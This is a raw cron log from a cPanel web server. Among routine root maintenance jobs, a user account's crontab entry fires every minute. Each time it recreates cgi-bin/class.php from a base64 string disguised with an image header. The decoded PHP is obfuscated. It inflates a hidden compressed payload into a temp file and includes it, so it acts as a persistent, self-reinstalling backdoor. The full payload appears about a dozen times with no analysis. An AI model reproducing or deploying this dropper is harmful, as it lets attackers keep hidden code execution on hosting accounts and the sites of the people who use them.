Sep  8 07:28:01 server CROND[27844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:29:01 server CROND[28302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:29:01 server CROND[28303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:29:01 server CROND[28304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:30:01 server CROND[28800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:30:01 server CROND[28801]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:30:01 server CROND[28804]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:30:01 server CROND[28805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:30:01 server CROND[28806]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:30:01 server CROND[28807]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:30:01 server CROND[28808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:30:01 server CROND[28810]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:31:01 server CROND[29635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:31:01 server CROND[29636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:31:01 server CROND[29637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:32:01 server CROND[30007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:32:01 server CROND[30008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:32:01 server CROND[30009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:33:01 server CROND[30384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:33:01 server CROND[30385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:33:01 server CROND[30383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:34:01 server CROND[30751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:34:01 server CROND[30752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:34:01 server CROND[30753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:35:01 server CROND[31245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:35:01 server CROND[31251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:35:01 server CROND[31248]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:35:01 server CROND[31250]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 07:35:01 server CROND[31247]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:35:01 server CROND[31253]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:35:01 server CROND[31254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:35:01 server CROND[31252]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:35:01 server CROND[31249]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 07:36:01 server CROND[32092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:36:01 server CROND[32093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:36:01 server CROND[32094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:37:01 server CROND[32464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:37:01 server CROND[32465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:37:01 server CROND[32466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:38:01 server CROND[393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:38:01 server CROND[394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:38:01 server CROND[395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:39:01 server CROND[807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:39:01 server CROND[808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:39:01 server CROND[809]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 07:39:01 server CROND[810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:40:01 server CROND[1388]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:40:01 server CROND[1390]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:40:01 server CROND[1391]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:40:01 server CROND[1395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:40:01 server CROND[1394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
